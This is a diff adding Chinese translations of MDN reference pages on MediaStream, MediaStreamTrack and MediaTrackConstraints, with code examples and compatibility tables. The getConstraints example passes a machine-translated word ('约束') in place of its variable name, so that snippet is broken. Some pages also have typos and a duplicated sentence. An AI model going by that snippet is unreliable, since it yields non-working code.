之后,我们从录制的音频块中创建组合{{domxref("Blob")}},并使用window.URL.createObjectURL(blob)创建指向它的对象URL。然后我们将 {{HTMLElement("audio")}}元素的{{htmlattrxref("src", "audio")}}属性的值设置为对象URL,以便在音频播放器上按下播放按钮时,它会播放音频。

+ +

最后,我们监听删除按钮的onclick事件,以便能够删除整个剪辑HTML结构。

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("MediaStream Recording", "#MediaRecorderAPI")}}{{Spec2("MediaStream Recording")}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(47)}}{{CompatGeckoDesktop("25.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari MobileChrome Mobile
Basic support{{CompatNo}}{{CompatChrome(47)}}{{CompatGeckoDesktop("25.0")}}1.3[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatChrome(47)}}
+
+ +

[1] The initial Firefox OS implementation only supported audio recording.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/mediastreamaudiosourcenode/index.html b/files/zh-cn/web/api/mediastreamaudiosourcenode/index.html new file mode 100644 index 0000000000..333c7d74a8 --- /dev/null +++ b/files/zh-cn/web/api/mediastreamaudiosourcenode/index.html @@ -0,0 +1,150 @@ +--- +title: MediaStreamAudioSourceNode +slug: Web/API/MediaStreamAudioSourceNode +tags: + - MediaStreamAudioSourceNode + - Web Audio API +translation_of: Web/API/MediaStreamAudioSourceNode +--- +

{{APIRef("Web Audio API")}}

+ +
+

MediaStreamAudioSourceNode 接口代表一个音频接口,是WebRTC {{domxref("MediaStream")}} (比如一个摄像头或者麦克风)的一部分。是个表现为音频源的{{domxref("AudioNode")}}。

+
+ +

MediaElementSourceNode没有输入,并且只有一个输出。创建之后使用 {{domxref("AudioContext.createMediaStreamSource")}}方法。输出通道的数量和{{domxref("AudioMediaStreamTrack")}}的通道数量相同。如果没有有效的媒体流,输出通道就变成一个静音的通道。

+ + + + + + + + + + + + + + + + +
Number of inputs0
Number of outputs1
Channel count由{{domxref("AudioMediaStreamTrack")}}定义,传递给 {{domxref("AudioContext.createMediaStreamSource")}} ,并由此创建。
+ +

构造器

+ +
+
{{domxref("MediaStreamAudioSourceNode.MediaStreamAudioSourceNode()")}}
+
创建一个新的MediaStreamAudioSourceNode实例。
+
+ +

属性

+ +

{{domxref("AudioNode")}}上继承。

+ +

方法

+ +

{{domxref("AudioNode")}}上继承。

+ +

示例

+ +

{{page("/zh-CN/docs/Web/API/AudioContext/createMediaStreamSource","示例")}}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#the-mediastreamaudiosourcenode-interface', 'MediaStreamAudioSourceNode')}}{{Spec2('Web Audio API')}} 
+ +

兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support14 {{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("25")}}{{CompatNo}}15 {{property_prefix("webkit")}}
+ 22 (unprefixed)
6 {{property_prefix("webkit")}}
Constructor{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}28 {{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoMobile("25")}}{{CompatNo}}{{CompatNo}}6 {{property_prefix("webkit")}}
Constructor{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/mediastreamaudiosourcenode/mediastreamaudiosourcenode/index.html b/files/zh-cn/web/api/mediastreamaudiosourcenode/mediastreamaudiosourcenode/index.html new file mode 100644 index 0000000000..14dfc4969b --- /dev/null +++ b/files/zh-cn/web/api/mediastreamaudiosourcenode/mediastreamaudiosourcenode/index.html @@ -0,0 +1,130 @@ +--- +title: MediaStreamAudioSourceNode.MediaStreamAudioSourceNode() +slug: Web/API/MediaStreamAudioSourceNode/MediaStreamAudioSourceNode +tags: + - MediaStreamAudioSourceNode + - Web Audio API +translation_of: Web/API/MediaStreamAudioSourceNode/MediaStreamAudioSourceNode +--- +

{{APIRef("Web Audio API")}}

+ +

MediaStreamAudioSourceNode()构造器创建一个新的 {{domxref("MediaStreamAudioSourceNode")}}对象实例。

+ +

语法

+ +
var myAudioSource = new MediaStreamAudioSourceNode(context, options);
+ +

参数

+ +
+
context
+
一个用来使用node的音频环境{{domxref("AudioContext")}}。
+
options
+
MediaStreamAudioSourceOptions,一个map对象,定义MediaStreamAudioSourceNode的属性: +
    +
  • mediaStream: 需要使用的音频流
  • +
+
+
+ +

示例

+ +
// define variables
+var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+
+// getUserMedia block - grab stream 获取音频流
+// put it into a  把音频流放入 MediaStreamAudioSourceNode
+if (navigator.mediaDevices.getUserMedia) {
+   console.log('new getUserMedia supported.');
+   navigator.mediaDevices.getUserMedia (
+      // constraints: audio and video for this app
+      {
+         audio: true,
+         video: false
+     }).then(function(stream) {
+
+       // Create a MediaStreamAudioSourceNode
+       var options = {
+         mediaStream : stream
+       }
+
+       var source = new MediaStreamAudioSourceNode(audioCtx, options);
+        source.connect(audioCtx.destination);
+        }).catch(function(err) {
+         console.log('The following gUM error occured: ' + err);
+      });
+} else {
+   console.log('new getUserMedia not supported on your browser!');
+}
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API','#idl-def-MediaStreamAudioSourceNode','MediaStreamAudioSourceNode')}}{{Spec2('Web Audio API')}} 
+ +

兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}
+  
{{CompatNo}}{{ CompatNo }} +

{{CompatVersionUnknown}}

+
{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{CompatVersionUnknown}}
+
diff --git a/files/zh-cn/web/api/mediastreamevent/index.html b/files/zh-cn/web/api/mediastreamevent/index.html new file mode 100644 index 0000000000..0ded48f6c1 --- /dev/null +++ b/files/zh-cn/web/api/mediastreamevent/index.html @@ -0,0 +1,115 @@ +--- +title: MediaStreamEvent +slug: Web/API/MediaStreamEvent +translation_of: Web/API/MediaStreamEvent +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

 MediaStreamEvent 接口表示发生在 {{domxref("MediaStream")}}中的事件.这种类型返回两个事件: {{event("addstream")}} 和 {{event("removestream")}}.

+ +

Properties

+ +

一个 {{domxref("MediaStreamEvent")}} 作为一个 {{domxref("Event")}}, 该事件也实现了这些属性.

+ +
+
{{domxref("MediaStreamEvent.stream")}} {{readOnlyInline}}
+
包含了 {{domxref("MediaStream")}} 以及相关的事件流.
+
+ +

Constructors

+ +
+
{{domxref("MediaStreamEvent.MediaStreamEvent()", "MediaStreamEvent()")}}
+
返回一个新的 MediaStreamEvent.  它需要两个参数, 第一个为 {{domxref("DOMString")}} 代表事件的类型; 第二个是一个 {{domxref("MediaStream")}}集合 .
+
+ +

Methods

+ +

一个 {{domxref("MediaStreamEvent")}} 作为一个 {{domxref("Event")}}, 这个事件也实现了这些属性没有特定的 {{domxref("MediaStreamEvent")}} 方法.

+ +

Examples

+ +
pc.onaddstream = function( ev ) {
+  alert("A stream (id: '" + ev.stream.id + "') has been added to this connection.");
+};
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('WebRTC 1.0', '#idl-def-MediaStreamEvent', 'MediaStreamEvent') }}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown }}{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/mediastreamtrack/getcapabilities/index.html b/files/zh-cn/web/api/mediastreamtrack/getcapabilities/index.html new file mode 100644 index 0000000000..cc44f48f13 --- /dev/null +++ b/files/zh-cn/web/api/mediastreamtrack/getcapabilities/index.html @@ -0,0 +1,52 @@ +--- +title: MediaStreamTrack.getCapabilities() +slug: Web/API/MediaStreamTrack/getCapabilities +tags: + - API + - Media Capture and Streams API + - Media Streams API + - MediaStreamTrack + - getCapabilities + - 媒体API +translation_of: Web/API/MediaStreamTrack/getCapabilities +--- +

{{APIRef("Media Capture and Streams")}}

+ +

{{domxref("MediaStreamTrack")}} 接口的 getCapabilities() 方法返回一个  {{domxref('MediaTrackCapabilities')}} 对象,此对象表示每个可调节属性的值或者范围,该特性依赖于平台和{{Glossary("user agent")}}.

+ +

一旦你知道了浏览器的功能,你的脚本可以通过调用 {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}} 来请求配置为匹配理想或可接受的设置。参考{{SectionOnPage("/zh-CN/docs/Web/API/Media_Streams_API", "Capabilities and constraints")}} 以了解受限制属性的具体细节。

+ +

语法

+ +
var capabilities = MediaStreamTrack.getCapabilities();
+ +

参数

+ +

没有参数。

+ +

返回值

+ +

A {{domxref('MediaTrackCapabilities')}} object which specifies the value or range of values which are supported for each of the user agent's supported constrainable properties.

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#dom-mediastreamtrack-getconstraints', 'getConstraints()')}}{{Spec2('Media Capture')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.MediaStreamTrack.getCapabilities")}}

diff --git a/files/zh-cn/web/api/mediastreamtrack/getconstraints/index.html b/files/zh-cn/web/api/mediastreamtrack/getconstraints/index.html new file mode 100644 index 0000000000..86526e0a60 --- /dev/null +++ b/files/zh-cn/web/api/mediastreamtrack/getconstraints/index.html @@ -0,0 +1,66 @@ +--- +title: MediaStreamTrack.getConstraints() +slug: Web/API/MediaStreamTrack/getConstraints +tags: + - API + - Medhod + - Media Capture and Streams + - Media Stream Track + - Media Streams API + - getConstraints +translation_of: Web/API/MediaStreamTrack/getConstraints +--- +

{{APIRef("Media Capture and Streams")}}

+ +

getConstraints()所述{{domxref("MediaStreamTrack")}}的方法接口返回{{domxref("MediaTrackConstraints")}}包含集使用现有呼叫最近的轨道建立约束来{{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}}。这些约束指示网站或应用程序指定的值和值范围对于包含的可约束属性是必需的或可接受的。

+ +

约束条件可以用来确保媒体符合你喜欢的某些指导方针。例如,您可能更喜欢高清视频,但要求帧率略低,以帮助保持足够低的数据速率而不会使网络负担过重。约束还可以指定理想和/或可接受的尺寸或尺寸范围。有关如何使用可约束属性的详细信息请参阅能力,约束和设置

+ +

句法

+ +
var constraints = MediaStreamTrack.getConstraints();
+ +

参数

+ +

没有。

+ +

返回值

+ +

指示使用{{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}}最近设置的网站或应用程序的可约束属性的{{domxref('MediaTrackConstraints')}}对象。返回对象中的属性按照与设置时相同的顺序列出,并且未包含未由网站或应用专门设置的属性。

+ +
+

返回的一组约束条件不一定描述媒体的实际状态; 如果任何约束无法满足,它们仍然包含在网站代码最初设置的返回对象中。要获得所有可约束属性的当前活动设置,您应该调用{{domxref("MediaStreamTrack.getSettings", "getSettings()")}}。

+
+ +

+ +

本示例获取当前轨道约束,设置{{domxref("MediaTrackConstraints.facingMode", "facingMode")}},并应用更新的约束。

+ +
function switchCameras(track,camera){
+  let constraints = track.getConstraints();
+  constraints.facingMode = camera;
+  track.applyConstraints(约束);
+}
+ +

产品规格

+ + + + + + + + + + + + + + +
规范状态评论
{{SpecName('Media Capture', '#dom-mediastreamtrack-getconstraints', 'getConstraints()')}}{{Spec2('Media Capture')}}初始定义。
+ +

浏览器兼容性

+ + + +

{{COMPAT( "api.MediaStreamTrack.getConstraints")}}

diff --git a/files/zh-cn/web/api/mediastreamtrack/index.html b/files/zh-cn/web/api/mediastreamtrack/index.html new file mode 100644 index 0000000000..28db2b0b25 --- /dev/null +++ b/files/zh-cn/web/api/mediastreamtrack/index.html @@ -0,0 +1,181 @@ +--- +title: MediaStreamTrack +slug: Web/API/MediaStreamTrack +translation_of: Web/API/MediaStreamTrack +--- +
{{APIRef("WebRTC")}}
+ +

摘要

+ +

MediaStreamTrack接口在User Agent中表示一段媒体源,比如音轨或视频。

+ +

属性

+ +
+
{{domxref("MediaStreamTrack.enabled")}}
+
布尔值,为true时表示轨道有效,并且可以被渲染。为false时表示轨道失效,只能被渲染为静音或黑屏。如果该轨道连接中断,该值还是可以被改变但不会有任何效果了。
+
{{domxref("MediaStreamTrack.id")}} {{readonlyInline}}
+
返回一个由浏览器产生的{{domxref("DOMString")}}类型的GUID值,作为这个轨道的唯一标识值。
+
{{domxref("MediaStreamTrack.kind")}} {{readonlyInline}}
+
返回一个{{domxref("DOMString")}}类型的值。如果为“audio”表示轨道为音频轨道,为“video”则为视频轨道。如果该轨道从它的源上分离,这个值也不会改变。
+
{{domxref("MediaStreamTrack.label")}} {{readonlyInline}}
+
返回一个{{domxref("DOMString")}}类型。内容为一个用户代理指定的标签,来标识该轨道的来源,比如“internal microphone”。该字符串可以为空,并且在没有源与这个轨道连接的情况下会一直为空。当该轨道从它的源上分离时,这个值也不会改变。
+
{{domxref("MediaStreamTrack.muted")}} {{readonlyInline}}
+
返回一个布尔类型的值,为true时表示轨道是静音,其它为false。
+
{{domxref("MediaStreamTrack.readonly")}} {{readonlyInline}}
+
返回一个布尔类型的值,为true时表示该轨道是只读的,比如视频文件源或一个被设置为不能修改的摄像头源,或则为false。
+
{{domxref("MediaStreamTrack.readyState")}} {{readonlyInline}}
+
返回枚举类型的值,表示轨道的当前状态。该枚举值为以下中的一个: +
    +
  • "live"表示当前输入已经连接并且在尽力提供实时数据。在这种情况下,输出数据可以通过操作MediaStreamTrack.enabled属性进行开关。
  • +
  • “ended”表示这个输出连接没有更多的数据了,而且也不会提供更多的数据了。
  • +
+
+
{{domxref("MediaStreamTrack.remote")}} {{readonlyInline}}
+
返回布尔值类型,当为true时表示数据是通过{{domxref("RTCPeerConnection")}}提供的,否则为false。
+
+ +

事件处理

+ +
+
{{domxref("MediaStreamTrack.onstarted")}}
+
这是{{event("started")}}事件在这个对象上被触发时调用的事件处理器{{domxref("EventHandler")}},这时一个新的{{domxref("MediaStreamTrack")}}对象被添加到轨道源上。
+
{{domxref("MediaStreamTrack.onmute")}}
+
这是{{event("mute")}}事件在这个对象被触发时调用的事件处理器{{domxref("EventHandler")}},这时这个流被中断。
+
{{domxref("MediaStreamTrack.onunmute")}}
+
这是{{event("unmute")}}事件在这个对象上被触发时调用的事件处理器{{domxref("EventHandler")}},未实现。
+
{{domxref("MediaStreamTrack.onoverconstrained")}}
+
这是{{event("overconstrained")}}事件在这个对象上被触发时调用的事件处理器{{event("overconstrained")}},未实现。
+
{{domxref("MediaStreamTrack.oneended")}}
+
这是{{event("ended_(MediaStream)", "ended")}}事件在这个对象被触发时调用的事件处理器{{domxref("EventHandler")}},未实现。
+
+ +

方法

+ +
+
{{domxref("MediaStreamTrack.getConstraints()")}}
+
 
+
{{domxref("MediaStreamTrack.applyConstraints()")}}
+
 
+
{{domxref("MediaStreamTrack.getSettings()")}}
+
 
+
{{domxref("MediaStreamTrack.getCapabilities()")}}
+
 
+
{{domxref("MediaStreamTrack.clone()")}}
+
 
+
{{domxref("MediaStreamTrack.stop()")}}
+
停止播放轨道对应的源,源与轨道将脱离关联,同时轨道状态将设为“ended”。
+
+ +

技术规范

+ + + + + + + + + + + + + + +
规范状态说明
{{SpecName('Media Capture', '#mediastreamtrack', 'MediaStreamTrack')}}{{Spec2('Media Capture')}}Initial definition
+ +

浏览器支持情况

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}
stop(){{CompatUnknown}}{{CompatGeckoDesktop(34)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
muted, onmuted, onunmuted, readonly, readyState, remote, onstarted, onended, onoverconstrained, appendConstraint(), applyConstraints(), constraints(), getConstraints(){{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}
+ + + + + + +
stop()
+
{{CompatUnknown}}{{CompatGeckoDesktop(34)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
muted, onmuted, onunmuted, readonly, readyState, remote, onstarted, onended, onoverconstrained, appendConstraint(), applyConstraints(), constraints(), getConstraints(){{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}
+
+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/mediastreamtrack/readystate/index.html b/files/zh-cn/web/api/mediastreamtrack/readystate/index.html new file mode 100644 index 0000000000..4a0aa377b0 --- /dev/null +++ b/files/zh-cn/web/api/mediastreamtrack/readystate/index.html @@ -0,0 +1,61 @@ +--- +title: MediaStreamTrack.readyState +slug: Web/API/MediaStreamTrack/readyState +tags: + - API + - 参考 + - 只读 + - 媒体捕获和流 + - 媒体流追踪 + - 属性 +translation_of: Web/API/MediaStreamTrack/readyState +--- +
{{APIRef("Media Capture and Streams")}}
+ +

MediaStreamTrack.readyState只读属性返回一个枚举的值,该值给出了轨道的状态。

+ +

语法

+ +
const state = track.readyState
+ +

+ +

它采用以下值之一:

+ + + +

技术指标

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Media Capture', '#dom-mediastreamtrack-readystate', 'MediaStreamTrack.readyState') }}{{ Spec2('Media Capture') }}Initial specification.
+ +

浏览器兼容性

+ + + +

{{Compat("api.MediaStreamTrack.readyState")}}

+ +

看看别的

+ + diff --git a/files/zh-cn/web/api/mediastreamtrack/stop/index.html b/files/zh-cn/web/api/mediastreamtrack/stop/index.html new file mode 100644 index 0000000000..f4372c5d79 --- /dev/null +++ b/files/zh-cn/web/api/mediastreamtrack/stop/index.html @@ -0,0 +1,86 @@ +--- +title: MediaStreamTrack.stop() +slug: Web/API/MediaStreamTrack/stop +tags: + - API + - Media + - WebRTC + - 停止 + - 参考 + - 方法 + - 流 + - 视频捕获和流API + - 视频流API + - 视频流跟踪 +translation_of: Web/API/MediaStreamTrack/stop +--- +
{{APIRef("Media Capture and Streams")}}
+ +

MediaStreamTrack.stop()方法停止跟踪。

+ +

语法

+ +
track.stop()
+
+ +

说明

+ +

调用stop()告诉{{glossary("user agent")}} ,{{domxref("MediaStreamTrack")}}不再需要轨道的来源,无论该来源是什么,包括文件,网络流,本地摄像机或麦克风。由于多个音轨可能使用同一音源(例如,如果两个选项卡使用设备的麦克风),则音源本身并不一定会立即停止。 而是从轨道取消关联,并且停止跟踪对象。 一旦没有媒体轨道正在使用源,则实际上可能会完全停止该源。

+ +

调用stop()之后,{{domxref("MediaStreamTrack.readyState", "readyState")}}属性立即设置为ended

+ +

示例

+ +

停止视频流

+ +

在此示例中,我们看到一个函数,该函数通过在给定{{HTMLElement("video")}}的每个轨道上调用stop()来停止流式视频。

+ +
function stopStreamedVideo(videoElem) {
+  const stream = videoElem.srcObject;
+  const tracks = stream.getTracks();
+
+  tracks.forEach(function(track) {
+    track.stop();
+  });
+
+  videoElem.srcObject = null;
+}
+ +

这是通过从其{{domxref("HTMLMediaElement.srcObject", "srcObject")}} 属性获得视频元素的流来实现的。 然后,通过调用其{{domxref("MediaStream.getTracks", "getTracks()")}}方法来获取流的轨道列表。 从那里开始,剩下要做的就是使用{{jsxref("Array.forEach", "forEach()")}}遍历轨道列表并调用每个轨道的stop()方法。

+ +

最后,将srcObject设置为null以切断与{{domxref("MediaStream")}} 对象的链接,以便将其释放。

+ +

Finally, srcObject is set to null to sever the link to the {{domxref("MediaStream")}} object so it can be released.

+ +

技术参数

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Media Capture', '#dom-mediastreamtrack-stop', 'MediaStreamTrack.stop()') }}{{ Spec2('Media Capture') }}Initial specification.
+ +

浏览器兼容性

+ + + +

{{Compat("api.MediaStreamTrack.stop")}}

+ +

看看别的

+ + diff --git a/files/zh-cn/web/api/mediatrackconstraints/index.html b/files/zh-cn/web/api/mediatrackconstraints/index.html new file mode 100644 index 0000000000..4b0a07a102 --- /dev/null +++ b/files/zh-cn/web/api/mediatrackconstraints/index.html @@ -0,0 +1,264 @@ +--- +title: 媒体追踪约束 +slug: Web/API/MediaTrackConstraints +translation_of: Web/API/MediaTrackConstraints +--- +
{{APIRef("媒体捕获与媒体流")}}
+ +

The MediaTrackConstraints dictionary is used to describe a set of capabilities and the value or values each can take on. A constraints dictionary is passed into {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}} to allow a script to establish a set of exact (required) values or ranges and/or preferred values or ranges of values for the track, and the most recently-requested set of custom constraints can be retrieved by calling {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}}.

+ +

For each constraint, you can typically specify an exact value you need, an ideal value you want, a range of acceptable values, and/or a value which you'd like to be as close to as possible. The specifics vary somewhat depending on the type of the constrainable property.

+ +

To learn more about how constraints work, see Capabilities, constraints, and settings.

+ +

Properties

+ +

Some combination—but not necessarily all—of the following properties will exist on the object.

+ +

Properties of all media tracks

+ +
+
{{domxref("MediaTrackConstraints.deviceId", "deviceId")}}
+
A {{domxref("ConstrainDOMString")}} object specifying a device ID or an array of device IDs which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.groupId", "groupId")}}
+
A {{domxref("ConstrainDOMString")}} object specifying a group ID or an array of group IDs which are acceptable and/or required.
+
+ +

Properties of audio tracks

+ +
+
{{domxref("MediaTrackConstraints.autoGainControl", "autoGainControl")}}
+
A {{domxref("ConstrainBoolean")}} object which specifies whether automatic gain control is preferred and/or required.
+
{{domxref("MediaTrackConstraints.channelCount", "channelCount")}}
+
A {{domxref("ConstrainLong")}} specifying the channel count or range of channel counts which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.echoCancellation", "echoCancellation")}}
+
A {{domxref("ConstrainBoolean")}} object specifying whether or not echo cancellation is preferred and/or required.
+
{{domxref("MediaTrackConstraints.latency", "latency")}}
+
A {{domxref("ConstrainDouble")}} specifying the latency or range of latencies which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.noiseSuppression", "noiseSuppression")}}
+
A {{domxref("ConstrainBoolean")}} which specifies whether noise suppression is preferred and/or required.
+
{{domxref("MediaTrackConstraints.sampleRate", "sampleRate")}}
+
A {{domxref("ConstrainLong")}} specifying the sample rate or range of sample rates which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.sampleSize", "sampleSize")}}
+
A {{domxref("ConstrainLong")}} specifying the sample size or range of sample sizes which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.volume", "volume")}}
+
A {{domxref("ConstrainDouble")}} specifying the volume or range of volumes which are acceptable and/or required.
+
+ +

Properties of image tracks

+ +
+
{{domxref("MediaTrackConstraints.whiteBalanceMode","whiteBalanceMode")}}
+
A {{jsxref("String")}} specifying one of "none", "manual", "sigle-shot", or "continuous".
+
{{domxref("MediaTrackConstraints.exposureMode","exposureMode")}}
+
A {{jsxref("String")}} specifying one of "none", "manual", "sigle-shot", or "continuous".
+
{{domxref("MediaTrackConstraints.focusMode","focusMode")}}
+
A {{jsxref("String")}} specifying one of "none", "manual", "sigle-shot", or "continuous".
+
{{domxref("MediaTrackConstraints.pointsOfInterest","pointsOfInterest")}}
+
The pixel coordinates on the sensor of one or more points of interest. This is either an object in the form { x:value, y:value } or an array of such objects, where value  is a double-precision integer.
+
{{domxref("MediaTrackConstraints.expsureCompensation","exposureCompensation")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying f-stop adjustment by up to ±3. 
+
{{domxref("MediaTrackConstraints.colorTemperature","colorTemperature")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying a desired color temperature in degrees kelvin.
+
{{domxref("MediaTrackConstraints.iso","iso")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying a desired iso setting.
+
{{domxref("MediaTrackConstraints.brightness","brightness")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying a desired brightness setting.
+
{{domxref("MediaTrackConstraints.contrast","contrast")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the degree of difference between light and dark.
+
{{domxref("MediaTrackConstraints.saturation","saturation")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the degree of color intensity.
+
{{domxref("MediaTrackConstraints.sharpness","sharpness")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the intensity of edges.
+
{{domxref("MediaTrackConstraints.focusDistance","focusDistance")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying distance to a focused object.
+
{{domxref("MediaTrackConstraints.zoom","zoom")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the desired focal length.
+
{{domxref("MediaTrackConstraints.torch","torch")}}
+
A {{jsxref("Boolean")}} whter the fill light continuously connected, meaning it stays on as long as the track is active.
+
+ +

Properties of video tracks

+ +
+
{{domxref("MediaTrackConstraints.aspectRatio", "aspectRatio")}}
+
A {{domxref("ConstrainDouble")}} specifying the video aspect ratio or range of aspect ratios which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.facingMode", "facingMode")}}
+
A {{domxref("ConstrainDOMString")}} object specifying a facing or an array of facings which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.frameRate", "frameRate")}}
+
A {{domxref("ConstrainDouble")}} specifying the frame rate or range of frame rates which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.height", "height")}}
+
A {{domxref("ConstrainLong")}} specifying the video height or range of heights which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.width", "width")}}
+
A {{domxref("ConstrainLong")}} specifying the video width or range of widths which are acceptable and/or required.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#dom-mediatrackconstraints', 'applyConstraints()')}}{{Spec2('Media Capture')}}Initial definition.
{{SpecName('MediaStream Image', '#mediatrackconstraintset-section','applyConstraints()')}}{{Spec2('MediaStream Image')}}Adds image constraints.
+ +

Browser compatibility

+ +

{{ CompatibilityTable }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(59)}}{{ CompatUnknown }}{{ CompatUnknown }}{{CompatOpera(46)}}{{ CompatUnknown }}
deviceId{{CompatChrome(59)}}{{ CompatUnknown }}{{ CompatUnknown }}{{CompatOpera(46)}}{{ CompatUnknown }}
groupId{{CompatChrome(59)}}{{ CompatUnknown }}{{ CompatUnknown }}{{CompatOpera(46)}}{{ CompatUnknown }}
Audio track properties{{CompatNo}}{{ CompatUnknown }}{{ CompatUnknown }}{{CompatNo}}{{ CompatUnknown }}
Image track properties{{CompatChrome(63)}}{{ CompatUnknown }}{{ CompatUnknown }}{{CompatOpera(50)}}{{ CompatUnknown }}
Video track properties{{CompatChrome(59)}}{{ CompatUnknown }}{{ CompatUnknown }}{{CompatOpera(46)}}{{ CompatUnknown }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(59)}}{{CompatChrome(59)}}{{ CompatUnknown }}{{ CompatUnknown }}{{CompatOperaMobile(46)}}{{ CompatUnknown }}
deviceId{{CompatChrome(59)}}{{CompatChrome(59)}}{{ CompatUnknown }}{{ CompatUnknown }}{{CompatOperaMobile(46)}}{{ CompatUnknown }}
